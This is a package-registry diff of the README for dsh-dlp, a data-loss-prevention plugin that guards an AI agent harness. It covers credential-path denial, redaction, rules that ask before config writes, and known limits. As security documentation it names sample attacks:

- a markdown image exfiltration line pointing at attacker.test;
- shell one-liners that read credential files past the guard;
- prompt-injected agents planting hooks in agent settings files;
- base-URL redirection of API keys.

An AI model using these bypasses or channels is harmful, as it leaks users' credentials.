dsh-dlp 0.4.0 โ†’ 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,234 +3,60 @@
3
3
  Data-loss prevention for [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness),
4
4
  built as an out-of-repo plugin.
5
5
 
6
- It does seven things:
6
+ ๐Ÿ“– **[Full documentation](https://charlotten7.github.io/dsh-dlp/)**
7
+
8
+ ## What it does
7
9
 
8
10
  1. **Denies credential-file access and secrets bound for the network** โ€” unconditionally, from
9
- `ctx.tools.guard()`. It tests the path-typed arguments of a call against a table of
10
- credential stores, following symlinks first.
11
- 2. **Redacts secrets out of tool results** before the model reads them and before the session
12
- log records them, and withholds a result it cannot clean.
13
- 3. **Redacts secrets out of exported telemetry**, patching a hole where `DSH_TELEMETRY_MODE=FULL`
14
- ships message text, tool arguments, tool results and workspace paths in the clear.
15
- 4. **Strips the invisible characters that carry hidden instructions** out of tool results โ€”
16
- the Tags block and bidi overrides โ€” and counts the classes it will not touch because they
17
- also appear in legitimate text.
18
- 5. **Neutralises remote markdown images in assistant output**, and detects a tool call another
19
- plugin rewrote after the session log recorded it. Both are partial mitigations for defects
20
- in the harness rather than in your configuration โ€”
21
- [see below](#mitigations-for-defects-in-the-harness-itself), including what they do not close.
11
+ `ctx.tools.guard()`, testing path-typed arguments against a table of credential stores and
12
+ following symlinks first.
13
+ 2. **Redacts secrets out of tool results** before the model reads them and before the session log
14
+ records them, withholding a result it cannot clean.
15
+ 3. **Redacts secrets out of exported telemetry**, closing a hole where `DSH_TELEMETRY_MODE=FULL`
16
+ ships message text, tool arguments, results and workspace paths in the clear.
17
+ 4. **Strips invisible characters that carry hidden instructions** โ€” the Tags block, bidi
18
+ overrides, runs of variation selectors โ€” and strips terminal control sequences from the audit
19
+ lane so a tool result cannot forge its own audit record.
20
+ 5. **Neutralises remote markdown images in assistant output** and detects a tool call another
21
+ plugin rewrote after the session log recorded it.
22
22
  6. **Asks before the agent writes a file that changes future behaviour** โ€” agent settings and
23
- hooks, `CLAUDE.md`, `.cursor/rules/**`, `.vscode/tasks.json`, `.mcp.json`, git hooks, CI
24
- workflows, shell startup files โ€” and before it writes a `*_BASE_URL` that would redirect a
25
- provider credential. This tier prompts rather than denying, and is neutralizable;
26
- [see below](#behaviour-changing-config-paths).
27
- 7. **Writes an audit record for every decision** to its own sink โ€” rule id, rule version,
28
- offsets, and a keyed hash. Never the secret, and never the path or command that matched.
29
- `dsh-dlp report` reads that sink back.
30
-
31
- ---
23
+ hooks, `CLAUDE.md`, `.claude/rules/**` and the other agent rules directories, prompt
24
+ templates, `.vscode/tasks.json`, `.mcp.json`, git hooks, CI workflows, shell startup files,
25
+ `pnpm-workspace.yaml` โ€” and before it writes a `*_BASE_URL` that would redirect a provider
26
+ credential.
27
+ 7. **Asks before a call switches off its own confirmation** โ€” `non_interactive: true`,
28
+ `approval_mode: auto`, an `apply` whose approval is still pending. Both `ask` tiers are
29
+ prompts rather than controls: they live at `tools/pre-execute` and can be neutralised.
30
+ 8. **Writes an audit record for every decision** โ€” rule id, rule version, offsets, keyed hash.
31
+ Never the secret, never the path or command that matched. `dsh-dlp report` reads it back.
32
32
 
33
33
  ## What this is not
34
34
 
35
- **This is not a containment boundary.** The plugin runs in-process, in the agent's own process,
36
- at the agent's own uid. Anything the agent can execute โ€” a `bash` command, a `run_code`
37
- program, a mounted MCP server โ€” can read every file the guard denies and can open its own
38
- sockets without the plugin seeing anything. The guard closes the path where *the model* asks
39
- for credential material through a tool. It does not stop code that is already running.
40
-
41
- If you need containment, that is the sandbox, `landlock-run`, filesystem permissions, and
42
- egress firewalling. Use this alongside them, not instead of them.
35
+ **This is not a containment boundary.** The plugin runs in-process, at the agent's own uid.
36
+ Anything the agent can execute โ€” a `bash` command, a `run_code` program, a mounted MCP server โ€”
37
+ can read every file the guard denies and open its own sockets without the plugin seeing anything.
38
+ It closes the path where *the model* asks for credential material through a tool. It does not stop
39
+ code that is already running. If you need containment, that is the sandbox, `landlock-run`,
40
+ filesystem permissions and egress firewalling.
43
41
 
44
- More limits worth stating up front:
42
+ Three limits worth knowing before you rely on it:
45
43
 
46
44
  - **Only the guard floor is unconditional.** Every other seam can be neutralised by a listener
47
- registered ahead of ours: a `tools/pre-execute` listener that returns without calling `next()`
48
- disables the breadth tier, and a `tools/post-execute` listener ahead of ours can replace a
49
- result after it was redacted. `ctx.tools.guard()` is order-independent only because it has no
50
- allow arm. A `tools/pre-execute` deny also skips guards entirely, so the audit sink cannot
51
- claim to have seen every call.
52
- - **The shell-command arm is advisory pattern-matching.** A `bash` command line is split on
53
- shell-ish separators and each token is tested as a path. That catches an unobfuscated
54
- `cat ~/.ssh/id_rsa`. It catches nothing that tries: `cat ~/.netr?` (one glob character),
55
- `cat ~/.s""sh/id_r""sa`, `find ~ -name 'id_*' -exec cat {} +`, a `$(printf ...)`
56
- reassembly, a base64 round-trip of the path, or `python3 -c` opening the file โ€” every one
57
- of those was verified to read the file with the guard abstaining. **Do not count this arm
58
- as a control.** A shell command is a program, not a path, and the only way to decide what
59
- it will open is to run it. If the agent has a shell, credential files need filesystem
60
- permissions or a sandbox, not this plugin.
61
- - **Tool arguments are never masked.** Model-visible implies logged: arguments are already in
62
- the session log and already presented to the model, so rewriting them would desynchronise
63
- the log from what actually ran. Argument-level DLP here is *denial with a reason the model
64
- can act on*.
65
- - **Already-logged history cannot be rewritten; a not-yet-logged inbound message can.** At
66
- `llm/stream` the options are deep-frozen and `next()` takes no arguments, so a request the
67
- agent has assembled goes out as it stands and a secret already in the conversation reaches
68
- the provider. (The same waterfall's *response* side is writable, and that is where remote
69
- image destinations are neutralised โ€” see below.) That is not the whole rule, though: `agent/pre-step` is an async waterfall
70
- returning `{ kind: 'enter'; messages }`, and the only production append of `user/message`
71
- happens *after* it, so a message arriving from outside can still be rewritten before it is
72
- logged or presented. This release does not do that; it is recorded here because the earlier
73
- flat claim that outbound redaction is impossible was too strong.
74
- - **A redacted value is not restored when the agent runs a command.** `ctx.shellEnv` rebuilds a
75
- trusted `DSH_*` namespace for every model shell call, which is a way to hand `bash` and
76
- `pwsh` โ€” and only those two โ€” the real value behind a placeholder without the model ever
77
- seeing it. Planned work, not implemented here.
78
- - **Detection is pattern-based.** A password, an internal token format, or a customer record
79
- has no recognisable structure and is not detected. Neither is any encoded form: base64,
80
- hex, URL-escaping and reversal all pass both tiers, as does a secret split across two
81
- content blocks. **A homoglyph defeats every rule in this package**, including the
82
- invisible-character ones.
83
- - **There is no entropy rule, and that was measured rather than assumed.** Shannon entropy is
84
- bounded by logโ‚‚L for a string of length L, so a 20-character token cannot score above 4.32
85
- bits per character however random it is. At the threshold where ordinary tool output โ€”
86
- hashes, minified bundles, base64 blobs, UUIDs โ€” produces no false positives, the miss rate
87
- is 100% for anything up to 22 characters, which is most of the credential formats worth
88
- catching. A detector that fires on the long ones the prefix rules already catch and misses
89
- the rest is not worth the false positives it costs.
90
- - **A secret containing a delimiter can still be split across two redactions.** Every reported
91
- span grows outward to the nearest delimiter, which over-redacts in the safe direction, but a
92
- secret whose own text contains one of those delimiters is covered by two placeholders with the
93
- delimiter left between them.
94
- - **`additionalContexts` are not scanned.** They are model-visible `UserMessage` payloads and
95
- this release does not redact them.
96
- - **Local writes are out of scope.** A `write` or `edit` into a synced directory moves data off
97
- the machine without going through an egress-capable tool.
98
- - **Telemetry redaction covers a mounted backend's records only.** A second exporter mounted
99
- outside the `session-telemetry/record` waterfall is not covered.
100
- - **`$DSH_HOME` is readable by a read-only tool.** Profile manifests and the installed plugin
101
- tree are ordinary work to read, so which plugins a profile loads is model-visible. Only writes
102
- are denied wholesale there, plus reads of the credential material inside it.
103
-
104
- ---
105
-
106
- ## Mitigations for defects in the harness itself
107
-
108
- Three of this plugin's registrations work around defects in DeepSeek Harness, not in a
109
- deployment's configuration. **None of them closes its channel**, an upstream fix is better in
110
- all three cases, and each is written up in `../disclosures/findings/`. They are here because we
111
- build on these seams today and wanted the accident case narrowed while the upstream question is
112
- open.
113
-
114
- ### Remote markdown images in assistant output (finding 001)
115
-
116
- The web UI renders any absolute `http(s)` markdown image a model emits as a real `<img src>`,
117
- and the harness sets no Content-Security-Policy. An injected agent emitting
118
- `![](https://attacker.test/?d=<base64 of something you said>)` makes **your browser** issue that
119
- request; the harness process never sees it, so no guard, no DLP pass and no audit surface here
120
- can observe it.
121
-
122
- This plugin wraps the `llm/stream` waterfall and replaces the destination of every inline
123
- markdown image whose target is an absolute `http:`/`https:` URL, keeping the alt text:
124
-
125
- ```
126
- ![receipt](https://attacker.test/p?d=c2VjcmV0) -> ![receipt](dsh-dlp-blocked-remote-image)
127
- ```
45
+ registered ahead of ours. `ctx.tools.guard()` is order-independent only because it has no allow
46
+ arm.
47
+ - **The shell-command arm is advisory pattern-matching.** It catches an unobfuscated
48
+ `cat ~/.ssh/id_rsa` and nothing that tries โ€” one glob character, a `$(printf โ€ฆ)` reassembly or
49
+ `python3 -c` all defeat it, each verified. **Do not count this arm as a control.**
50
+ - **Detection is pattern-based.** No entropy rule (measured, not assumed: at a false-positive-free
51
+ threshold the miss rate is 100% below 22 characters). Encoded forms pass. A homoglyph defeats
52
+ every rule in this package.
128
53
 
129
- The placeholder is deliberately not a URL, so the renderer takes its own "not an absolute
130
- destination" arm and shows the alt text instead of fetching anything. Rewriting happens before
131
- the text becomes an `assistant/chunk` or `assistant/message` event, so the session log and the
132
- rendered answer agree, and it happens on streamed deltas too โ€” a destination arriving eight
133
- characters at a time is caught before any accumulation of it can render. The audit record names
134
- the **hostname only**, never the path or query string, because that is where an exfiltration
135
- payload rides.
136
-
137
- What it does not close:
138
-
139
- - **Only inline image syntax is matched.** A reference-style image (`![alt][ref]` with a
140
- `[ref]: https://โ€ฆ` definition elsewhere) still renders and still fetches. We do not neutralise
141
- those, because the definition is shared with ordinary links and killing it would break them.
142
- - **A destination form the pattern does not model gets through** โ€” an alt text containing `]`,
143
- unusual percent-encodings, or any future renderer-accepted syntax.
144
- - **Reasoning text is not touched**, because the UI renders it as plain text rather than
145
- markdown. If that changes upstream, this stops covering it.
146
- - Raw HTML needs no handling: the renderer keeps `<img โ€ฆ>` as literal text and no HTML enters
147
- the DOM. That is upstream doing the right thing, and it is why this only has to handle
148
- markdown.
149
- - **This is a real behavioural change.** An assistant answer that legitimately links an image
150
- loses it โ€” the user sees the alt text instead of the picture. That is why it is a switch:
151
- `remoteImageNeutralization: false` turns it off, and a deployment whose agents produce useful
152
- images should turn it off and set a CSP at whatever serves the UI instead.
153
- - **The upstream fix is one `img-src` directive** in a Content-Security-Policy. That covers
154
- every form, every client, and every channel of this shape at once. This plugin's version
155
- covers the common syntax on one seam. Prefer the directive.
156
-
157
- ### A tool call rewritten between `tools/pre-execute` and the guard (finding 002)
158
-
159
- The registry deep-freezes `exec.arguments` but does not freeze the execution object until
160
- results are notified. A `tools/pre-execute` listener can therefore reassign `exec.arguments` or
161
- `exec.name` โ€” and reassigning `exec.name` **changes which tool body runs** โ€” while the agent
162
- loop appended `tool/call` from the model's own response block *before* the waterfall ran. The
163
- durable record then describes a call that never happened, and nothing warns anyone.
164
-
165
- This plugin snapshots each call's name and a keyed digest of its arguments at the head of the
166
- waterfall, and compares in the guard, which runs after the whole waterfall. A mismatch is
167
- **denied**, with an audit record naming which field changed and, when the name changed, the tool
168
- the log recorded:
169
-
170
- ```
171
- dsh-dlp denied "dangerous": another mounted plugin rewrote this call's name after the session
172
- log recorded it, so the log and the presented call describe something other than what would
173
- have run. The session log records a call to "safe". ...
174
- ```
175
-
176
- What it does not close:
177
-
178
- - **It detects; it does not prevent.** Preventing the rewrite means freezing an object this
179
- plugin does not own, which would break `tools/execute` wrappers that legitimately replace
180
- `exec.signal`. The tool body does not run, but the mutation still happened.
181
- - **The snapshot is best-effort, not a floor.** It is registered with `{ prepend: true }`, so it
182
- runs before listeners registered earlier โ€” but a listener registered *later* with the same
183
- option runs ahead of it and would be snapshotted after its own rewrite.
184
- - **A call this plugin never saw is never a finding.** Absence of a snapshot means abstain, so
185
- scoped dispatches this listener does not receive pass unremarked rather than being denied.
186
- - **It says nothing about other plugins' decisions.** A `deny` or an `ask` from another
187
- `tools/pre-execute` listener is ordinary traffic; a deny also skips the guard entirely, so
188
- nothing here is even consulted.
189
- - **The upstream fix is better**: two `Object.defineProperty(execution, โ€ฆ, { writable: false })`
190
- calls at the mint site, or a scheduler-invariant throw naming the offending plugin. Either
191
- makes the rewrite impossible or fatal at the source instead of denying a call downstream of
192
- it. This check is not configurable, for the same reason the rest of the floor is not.
193
-
194
- ### The telemetry redactor cannot run under the shipped default (finding 008)
195
-
196
- A `session-telemetry/record` listener mounts successfully and **silently never runs** under the
197
- shipped `DSH_TELEMETRY_MODE=DISABLED`, because the coordinator that dispatches the waterfall is
198
- constructed only in `FULL`/`FEEDBACK_ONLY`. Nothing is exported in that mode, so this is not a
199
- leak โ€” it is a verification trap: you mount a redactor, see it mount, and have verified nothing.
200
-
201
- When `telemetryRedaction` is on, this plugin reads the mounted backend's own `sharing`
202
- disclosure and reports on `process.stderr` **and** `ctx.logger` when the seam will never
203
- dispatch:
204
-
205
- ```
206
- dsh-dlp: telemetryRedaction is enabled, but the mounted session-telemetry backend reports
207
- sharing "disabled", so nothing dispatches the session-telemetry/record waterfall and this
208
- plugin's telemetry redaction never runs. Nothing is exported in this state, so this is not a
209
- leak โ€” it means the redaction rules are unverified, and they begin running the moment
210
- telemetry is turned on. Informational only: the plugin's other seams are unaffected.
211
- ```
212
-
213
- What it does not close:
214
-
215
- - **It is informational and never fatal.** `DISABLED` is the safe default and the right posture
216
- for most deployments; the plugin mounts and every other seam runs normally.
217
- - **It reads a disclosure, not the environment.** `DSH_TELEMETRY_MODE` is only the base
218
- bundle's default expression for a `mode` a deployment can also set directly, so guessing at
219
- the variable would be wrong. If a backend discloses `full` or `feedback-only` while
220
- dispatching nothing, this says nothing.
221
- - **A backend that mounts after this plugin is answered late.** The check runs at mount if the
222
- service is already there and otherwise at the first session event, because absence at mount
223
- cannot be told apart from a load order.
224
- - **The upstream fix is better**: warn at mount when a `session-telemetry/record` hook exists
225
- under `DISABLED`, or construct the coordinator unconditionally and drop after the waterfall.
226
- Either makes the trap visible for every listener, not only ours.
227
-
228
- ---
54
+ [The full list of limits โ†’](https://charlotten7.github.io/dsh-dlp/)
229
55
 
230
56
  ## Install
231
57
 
232
- A profile carrying only `@deepseek-ai/dsh-base` has no agent loop. Add a runnable
233
- bundle alongside it, or the profile boots with nothing for this plugin to guard:
58
+ A profile carrying only `@deepseek-ai/dsh-base` has no agent loop, so add a runnable bundle
59
+ alongside it or there is nothing for this plugin to guard:
234
60
 
235
61
  ```sh
236
62
  dsh plugin --profile <name> add @deepseek-ai/dsh-headless@0.1.0-rc.6
@@ -238,469 +64,66 @@ dsh plugin --profile <name> add dsh-dlp
238
64
  dsh --profile <name> --dump-config # the dsh-dlp row should appear
239
65
  ```
240
66
 
241
- Pin `@deepseek-ai/dsh-headless` explicitly: its npm `latest` tag still points at
242
- `0.0.1-rc.1`, so an unpinned install silently resolves to a much older harness.
243
-
244
- The package ships a `cordis.patch.yml` bundle layer, so listing it in a profile's
245
- `dsh.profile.bundles` is enough to mount it with working defaults.
67
+ Any harness from `0.1.0-rc.6` onwards in the `0.1.x` line works: the peer ranges accept it and CI
68
+ runs the end-to-end suite against every published rc in that range.
246
69
 
247
- **Install from the registry or a packed tarball, not from a git spec.**
248
- `dsh plugin add github:CharlotteN7/dsh-dlp` resolves and writes the dependency,
249
- but `lib/` is a build output that git does not carry and no `prepare` script
250
- rebuilds it, so the row mounts and then fails to load. To install from a
251
- checkout, build first and add the tarball:
70
+ Pin `@deepseek-ai/dsh-headless` explicitly โ€” its npm `latest` tag still points at `0.0.1-rc.1`.
71
+ The package ships a `cordis.patch.yml` bundle layer, so listing it in `dsh.profile.bundles` mounts
72
+ it with working defaults.
252
73
 
253
- ```sh
254
- git clone https://github.com/CharlotteN7/dsh-dlp && cd dsh-dlp
255
- pnpm install && pnpm run build && pnpm pack
256
- dsh plugin --profile <name> add ./dsh-dlp-0.3.0.tgz
257
- ```
74
+ **Install from the registry or a packed tarball, not from a git spec:** `lib/` is a build output
75
+ git does not carry and no `prepare` script rebuilds it, so a git-spec row mounts and then fails to
76
+ load.
258
77
 
259
78
  ## Configure
260
79
 
261
80
  ```yaml
262
81
  - id: dsh-dlp
263
- name: 'dsh-dlp'
264
82
  config:
265
83
  auditLog: /var/log/dsh-dlp.audit.jsonl
266
84
  redactionKeyFile: /var/lib/dsh/dsh-dlp.redaction-key
267
- policyFile: ./.dsh-dlp.yml # optional, lowest trust โ€” see below
268
- maxScanBytes: 1048576
85
+ policyFile: ./.dsh-dlp.yml # optional, lowest trust
269
86
  breadthTier: true
270
87
  resultRedaction: true
271
88
  telemetryRedaction: true
272
- remoteImageNeutralization: true
273
- redactTelemetryWorkspacePaths: true
274
89
  configWriteAsk: true
90
+ approvalSuppressionAsk: true
275
91
  ```
276
92
 
277
- `redactionKeyFile` is created on first mount with 32 random bytes at mode `0600`. Keep it out
278
- of version control: it is what makes a placeholder's hash keyed rather than a bare digest that
279
- anyone holding a candidate secret could confirm.
93
+ `redactionKeyFile` is created on first mount with 32 random bytes at mode `0600`. Keep it out of
94
+ version control โ€” it is what makes a placeholder's hash keyed rather than a bare digest anyone
95
+ holding a candidate secret could confirm.
280
96
 
281
97
  **The guard floor has no configuration.** Credential-path denial and secret-argument denial are
282
- security invariants, not deployment-varying tunables, so there is no switch that turns them off.
283
-
284
- ### Configuration trust ranking
285
-
286
- | Rank | Source | May |
287
- |---|---|---|
288
- | 1 | invariants compiled into the package | everything; not configurable |
289
- | 2 | `cordis.yml` / bundle patch config | set every field |
290
- | 3 | `policyFile` โ€” a repo-local YAML file | **tighten only** |
291
-
292
- Rank 3 is attacker-controlled โ€” a hostile repository ships one, and a prompt-injected agent can
293
- write one โ€” so it may only add deny patterns, add egress-capable tool names, raise a severity,
294
- and switch a redaction pass on:
295
-
296
- ```yaml
297
- v: 1
298
- addCredentialPaths:
299
- - id: acme/vault-token
300
- pattern: '(^|/)\.vault-token$'
301
- addEgressTools: [acme_publish]
302
- raiseSeverity:
303
- dsh-dlp/secret-assignment: high
304
- enable: [telemetryRedaction, configWriteAsk]
305
- ```
306
-
307
- Any other key, and any downgrade, makes the **whole file invalid**: it is reported on
308
- `process.stderr` and the deployment's logger, then ignored, never obeyed in part. There is no
309
- `disable`, no `removeCredentialPaths`, and no way to redirect the audit sink. The file is
310
- parsed with `js-yaml` under `JSON_SCHEMA`, so a `!!js/function` tag is a parse error rather
311
- than code execution, and it never goes near the Cordis loader.
312
-
313
- A missing `policyFile` is not an error โ€” it means the workspace ships no policy. The
314
- recommended value is workspace-relative, so failing the mount would stop `dsh` from starting in
315
- every repository without one, and would let a hostile repository remove the floor by shipping a
316
- broken file. An added `pattern` is capped at 200 characters and rejected if it nests a
317
- quantifier inside a quantified group: `^(a+)+$` blocks the synchronous guard for seconds on a
318
- 27-character path. That check is a heuristic, not a proof of linear-time matching.
319
-
320
- ---
321
-
322
- ## What gets denied
323
-
324
- **Credential paths named in a path-typed argument**, for every tool: `.env` and `.env.*`
325
- directories (but not `.env.example`), anything under `.ssh/`,
326
- `id_rsa`/`id_ed25519`/`id_ecdsa`/`id_dsa` and their backups, `~/.aws/` and `~/.azure/`,
327
- `$DSH_HOME/.credentials.yaml`, `.netrc`, `.npmrc`, `.pypirc`, `.git-credentials`,
328
- `~/.config/gh/`, `~/.kube/` and `kubeconfig*`, `/etc/kubernetes/*.conf`,
329
- `~/.docker/config.json` and `.dockercfg`, gcloud credential files, `rclone.conf`, `.pgpass`,
330
- `.my.cnf`, `*service-account*.json`, `*.pem`/`*.p12`/`*.pfx`/`*.jks`/`*.keystore`/`*.key`/
331
- `*.asc`/`*.gpg`, and any file whose name ends in a delimited `credential(s)`, `secret(s)` or
332
- `token(s)` โ€” which covers `.vault-token`, `.gem/credentials`, `.cargo/credentials.toml`,
333
- `.terraform.d/credentials.tfrc.json` and a Kubernetes service-account `token`. Source and
334
- documentation extensions are excluded from that last rule, so `src/auth/token.ts` stays
335
- readable.
336
-
337
- **Coding-agent and infrastructure credential stores**, which IronWorm's 44 packages and
338
- SANDWORM_MODE name verbatim: an `auth.json` under `.codex/`, `Cursor/`, `.composer/`,
339
- `.windsurf/`, `.continue/`, `.aider/`, `.claude/` or `.gemini/`; an `mcp.json` under any of the
340
- same directories, because an MCP manifest carries each server's `env` and that is where its API
341
- keys are written; Cursor's `state.vscdb` session database; anything under `Library/Keychains/`;
342
- `*.tfvars` and `terraform.tfstate`, which hold provider credentials in plaintext.
343
-
344
- **A home-level agent settings file is denied for writing only.** `~/.claude/settings.json`,
345
- `~/.gemini/settings.json` and the equivalents for Codex, Cursor, Windsurf and Continue decide
346
- how every future session in every repository behaves โ€” this is where the Miasma worm put its
347
- `SessionStart` hooks โ€” so writing one is on the floor. Reading one is ordinary work, since a
348
- user asking why their agent behaves a certain way is a normal request, so the rule is lifted for
349
- a tool that provably cannot change anything. The **repository-local** copies of those same file
350
- names are a different question with a different answer: see
351
- [behaviour-changing config paths](#behaviour-changing-config-paths) below.
352
-
353
- Also denied for every tool: this plugin's own `redactionKeyFile` and `auditLog`.
354
-
355
- **`$DSH_HOME` is split by direction.** Every *write* under the harness home is denied, for
356
- every tool: editing a profile's `cordis.yml` mounts an arbitrary plugin, which is the exact
357
- threat that makes the directory worth protecting. *Reads* are denied only where the contents
358
- are credentials โ€” `$DSH_HOME/.credentials.yaml`, `$DSH_HOME/sessions/**`, `$DSH_HOME/.env`,
359
- this plugin's key file and audit log, and any `*.key` โ€” so the installed plugin tree under
360
- `profiles/node_modules/` and every profile manifest stay readable. A blanket read denial there
361
- made debugging a plugin, reading a profile, and running the sibling `dsh-plugin-inspector`
362
- against an installed tree impossible, with a message saying the denial could not be overridden.
363
-
364
- Which side of that split a call lands on is decided by the tool's name, from a table of tools
365
- that can only look: `read`, `read_image`, `glob`, `grep`, `lsp`, the session-query tools,
366
- `job_list`, `job_output`, `terminal_list`, `terminal_read`, `list_agents`, `get_goal`.
367
- Every other name โ€” every shell, every editor, every `mcp__*` tool, and any tool this build has
368
- never heard of โ€” is treated as able to write, so a new tool is denied until it is classified.
369
- A shell is never on the read side even for a command that only reads: a shell that can `cat` a
370
- profile can also rewrite it.
371
-
372
- Paths are normalised first โ€” `..` traversal, `~`, Windows separators, quoting and a trailing
373
- slash do not evade the table โ€” and then resolved with `realpathSync`, so a symlink named
374
- `notes.txt` pointing at `~/.ssh/id_rsa` is denied by what it resolves to. Only path-typed
375
- argument keys are tested (`file_path`, `path`, `paths`, `notebook_path`, `cwd`, `command`, โ€ฆ).
376
- File content is never treated as a path: writing a `.gitignore` that lists `.env` is ordinary
377
- work, not an attempt to read a credential store.
378
-
379
- `$DSH_HOME/.credentials.yaml` is on that list because core permits reading it. The harness has
380
- no file-read restriction in any mode โ€” reads pass through untouched in every permission mode โ€”
381
- so the provider token the agent authenticates with is agent-readable. That is the specific gap
382
- this plugin closes.
383
-
384
- **Some secrets in arguments**, for tools that can move data off the machine. Local tools
385
- (`read`, `glob`, `grep`, `write`, `edit`, `todo_write`, the session-query tools, โ€ฆ) are exempt.
386
- Everything else โ€” every shell, `run_code`, the web tools, every `mcp__*` tool, and any tool
387
- this build has never heard of โ€” is treated as egress-capable. Unknown defaults to the safe side.
388
-
389
- What this arm actually catches is a whole, unencoded secret of `high` severity or above sitting
390
- in one argument string. `A=ghp_firsthalf; B=โ€ฆ; curl -H "Bearer $A$B"`, a base64 round-trip, and
391
- `$(cat ~/.token)` all defeat it; a `password=` assignment is `medium` and is redacted rather
392
- than denied. Treat it as a guard against accident, not against an adversary.
393
-
394
- A denial reads like this, and reaches the model as the tool's error result. It names the rule
395
- and a keyed hash, never the path โ€” a path is itself sensitive, and this string is written to
396
- the model and, in hashed form, to the audit sink:
397
-
398
- ```
399
- dsh-dlp denied "read": one of its path arguments is credential material (rule
400
- dsh-dlp/path-aws, keyed hash ca9cad27f2b5). Reading or passing credential files through a
401
- tool is blocked by policy and cannot be overridden. Ask the user to supply the value you
402
- need, or use a path that is not a credential store.
403
- ```
404
-
405
- ---
406
-
407
- ## Behaviour-changing config paths
408
-
409
- Everything above governs **reads**. The dominant technique of 2026 is the opposite: the agent
410
- *writes* a file that changes what happens next time. The Miasma worm put `SessionStart` hooks in
411
- `.claude/settings.json` and `.gemini/settings.json`, an always-apply `.cursor/rules/setup.mdc`,
412
- a `folderOpen` task in `.vscode/tasks.json` and a hijacked `npm test` into `Azure/durabletask`;
413
- GitHub disabled 73 repositories across Azure, microsoft and Azure-Samples over it, 39 of them
414
- inside 38 seconds. See also CVE-2025-53773, CVE-2026-25725, CVE-2026-33068, CVE-2026-48124,
415
- CVE-2026-26268 and CVE-2025-59041.
416
-
417
- A write to one of these **asks the user first**:
418
-
419
- | Rule | Paths |
420
- |---|---|
421
- | `config-agent-settings` | `.claude/settings*.json`, and the same under `.gemini/`, `.codex/`, `.cursor/`, `.windsurf/`, `.continue/` |
422
- | `config-agent-hooks` | `.claude/hooks/**` and the same under the other agent directories |
423
- | `config-agent-instructions` | `CLAUDE.md`, `AGENTS.md`, `GEMINI.md`, `.cursorrules`, `.windsurfrules` |
424
- | `config-agent-rules` | `.cursor/rules/**`, `.windsurf/rules/**`, `.continue/rules/**` |
425
- | `config-mcp-manifest` | `.mcp.json` |
426
- | `config-editor-tasks` | `.vscode/settings.json`, `.vscode/tasks.json`, `.vscode/launch.json` |
427
- | `config-git` | `.git/config`, `.git/hooks/**` |
428
- | `config-git-hooks-managed` | `.husky/**` |
429
- | `config-ci-workflow` | `.github/workflows/**`, `.gitlab-ci.yml`, `.circleci/**` |
430
- | `config-shell-rc` | `.bashrc`, `.bash_profile`, `.profile`, `.zshrc`, `.zprofile`, `.zshenv`, `.kshrc`, `config.fish`, โ€ฆ |
431
- | `config-harness-bundle` | `cordis*.yml` |
432
- | `config-api-base-url` | not a path โ€” content setting a `*_BASE_URL` or `*_API_BASE` to an `http(s)` URL |
433
-
434
- The last row is CVE-2026-21852: a repo-local settings file that sets `ANTHROPIC_BASE_URL` sends
435
- the user's own API key to whatever host it names. That is neither a path nor a secret โ€” it is a
436
- config key whose *value* redirects a credential โ€” so it is matched against the bytes the call
437
- would write rather than against where they would go.
438
-
439
- **Rules match by name, so creating a file is covered as well as changing one.** CVE-2026-25725
440
- worked precisely because the path did not exist yet and was therefore writable with nothing to
441
- prompt about.
442
-
443
- **This tier is `ask`, and it is therefore neutralizable โ€” unlike the floor.** That is deliberate
444
- and it is the important sentence in this section. A developer asks the agent to edit `CLAUDE.md`
445
- or add a workflow constantly; the guard floor is deny-only and non-overridable by design, so a
446
- rule with that false-positive rate must not go there. It lives at `tools/pre-execute`, which
447
- means a listener registered ahead of ours can return without calling `next()` and switch the
448
- whole tier off. Treat it as a prompt, not as a control.
449
-
450
- **A call the floor already denies is left to the floor**, and no prompt appears for it. Any
451
- non-allow decision at `tools/pre-execute` skips guards entirely, so asking about a call the
452
- guard would deny would replace an unconditional denial with a prompt a user can grant. That is
453
- also why `~/.claude/settings.json` and a repository's own `.claude/settings.json` behave
454
- differently: the first is on the floor, the second is a prompt.
455
-
456
- Two more limits worth stating:
457
-
458
- - **A shell redirection is not covered.** Only path-typed arguments are tested, and unlike the
459
- floor the command line is not tokenised: a shell command cannot be told apart from a *read* of
460
- the same file, and prompting on `cat .github/workflows/ci.yml` is exactly the false positive
461
- that gets a tier switched off.
462
- - **With no approval service mounted, the tier abstains rather than denying.** The registry
463
- resolves an `ask` through `ctx.get('approval')` and degrades to a *denial* when nothing is
464
- composed โ€” which would turn this tier into the silent hard deny it was designed not to be. It
465
- reports once on `process.stderr` and `ctx.logger` and lets the call through. `configWriteAsk:
466
- false` turns it off entirely.
467
-
468
- ---
469
-
470
- ## What gets redacted
471
-
472
- A redacted region becomes:
98
+ security invariants, not deployment-varying tunables. A repo-local `policyFile` is the lowest
99
+ trust rank and may only *tighten*: add deny patterns, add egress tool names, raise a severity,
100
+ switch a pass on. Any downgrade makes the whole file invalid.
473
101
 
474
- ```
475
- [REDACTED:dsh-dlp:slack-token:ca9cad27f2b5]
476
- ```
477
-
478
- The hash is `HMAC-SHA256(installation key, replaced text)` truncated to 12 hex characters. It
479
- is **stable**: the same secret produces the same placeholder everywhere, so an operator can see
480
- that one token appeared in four different tool results without the plugin ever writing the
481
- token down.
482
-
483
- For a successful tool result the plugin replaces the canonical `value`, which makes the registry
484
- re-validate the tool's `output.schema`, re-run `output.render()` and re-derive
485
- `presentationMeta()` โ€” so the value, the model-facing content and the persisted card are all
486
- redacted from one replacement. That arm is not a preference: the alternative, replacing
487
- `content`, leaves `{...result}` in place, and `value` and `meta` go into the session log
488
- exactly as the tool produced them. A successful result therefore never settles for the content
489
- arm, which is used only for a failed result (where replacing the value throws) or where the
490
- persisted surfaces are already clean.
491
-
492
- When neither works โ€” a failed result whose `meta` carries a secret, or a value that still scans
493
- dirty after redaction โ€” the result is **withheld**: the plugin returns a `block` decision, the
494
- model gets an error naming the rule and the hash, and nothing dirty reaches the log. Blocking
495
- is the only decision that replaces the whole result, so it is the only way to drop `meta`.
496
-
497
- Two consequences worth knowing:
498
-
499
- - Replacing a value re-validates it against the tool's `output.schema`, and a schema that pins
500
- that string โ€” an `enum`, a `const`, a `oneOf` branch it selects โ€” would reject the
501
- placeholder. The plugin asks that question first and withholds the result with the message
502
- above, rather than letting the registry raise a `ToolOutputError` that names a validation
503
